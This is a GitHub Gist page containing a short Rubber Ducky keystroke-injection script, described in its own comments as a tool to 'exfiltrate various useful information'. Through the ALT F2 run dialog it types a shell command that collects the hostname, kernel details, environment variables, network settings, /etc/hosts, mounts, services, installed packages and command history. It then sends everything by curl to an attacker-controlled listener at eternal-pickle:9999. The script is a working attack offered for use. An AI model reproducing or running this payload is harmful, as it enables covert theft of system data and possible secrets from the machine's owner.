Created
April 17, 2018 03:29
-
-
Save JonnyBanana/2915f169b60375813362fa89684c9880 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM Exfiltrate various useful information. | |
REM To capture, run `nc -l 9999`. | |
REM Make sure to update the hostname before using it. | |
DELAY 1000 | |
ALT F2 | |
DELAY 100 | |
STRING sh -c "{ printf 'Hostname: '; hostname; echo; printf 'uname: '; uname -a; echo; echo Env:; env; echo; echo Network:; nmcli; echo; /sbin/ifconfig -a; echo '/etc/hosts:'; cat /etc/hosts; echo; echo Mounts:; mount; echo; echo 'Running services:'; netstat -tunlpe; echo; echo 'Installed packages:'; dpkg -l || dnf list --installed || pacman -Ql; echo; echo 'Command history:'; history; echo; } | curl -F data='<-' http://eternal-pickle:9999" | |
ENTER |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment